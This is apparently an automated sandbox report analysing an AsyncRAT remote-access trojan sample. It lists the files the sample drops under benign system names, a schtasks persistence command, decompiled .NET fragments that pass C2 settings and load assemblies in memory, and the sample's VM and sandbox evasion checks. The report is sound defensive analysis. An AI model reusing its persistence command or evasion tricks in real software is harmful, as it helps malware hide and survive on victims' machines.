Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior

Source: C:\Users\user\Desktop\windxcmd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\windxcmd.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: windxcmd.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: windxcmd.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: windxcmd.exe

Static file information: File size 3542528 > 1048576

Source: windxcmd.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x360400

Source: windxcmd.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: D:\Source Code\Loaded GUI\Loaded GUI\obj\x64\Release\Loaded GUI.pdb source: wind.exe.0.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: svchost.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: svchost.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: svchost.exe.0.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: svchost.exe.0.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: svchost.exe.0.dr, Messages.cs	.Net Code: Memory
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, Messages.cs	.Net Code: Memory
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, Messages.cs	.Net Code: Memory

Source: wind.exe.0.dr

Static PE information: 0xE220BB2A [Tue Mar 21 16:11:22 2090 UTC]

Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 1_2_00007FFD9B608050 pushad ; ret		1_2_00007FFD9B60809D
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 1_2_00007FFD9B60809E push eax; ret		1_2_00007FFD9B6080AD

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\Desktop\windxcmd.exe

File created: C:\Users\user\AppData\Roaming\svchost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\windxcmd.exe	File created: C:\Users\user\AppData\Roaming\svchost.exe			Jump to dropped file
Source: C:\Users\user\Desktop\windxcmd.exe	File created: C:\Users\user\AppData\Roaming\wind.exe			Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.svchost.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: windxcmd.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Roaming\svchost.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe"

Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.svchost.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: windxcmd.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: svchost.exe, 00000001.00000002.4308288597.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: windxcmd.exe, 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, svchost.exe.0.dr	Binary or memory string: SBIEDLL.DLLINFO

Source: C:\Users\user\Desktop\windxcmd.exe	Memory allocated: 3350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Memory allocated: 1B540000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 1A7A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Memory allocated: 1CD8D130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Memory allocated: 1CDA6CB0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\windxcmd.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Roaming\svchost.exe	Window / User API: threadDelayed 8259			Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Window / User API: threadDelayed 1595			Jump to behavior

Source: C:\Users\user\Desktop\windxcmd.exe TID: 7428	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe TID: 7776	Thread sleep time: -1844674407370954s >= -30000s			Jump to behavior

Source: C:\Users\user\AppData\Roaming\svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\svchost.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\windxcmd.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

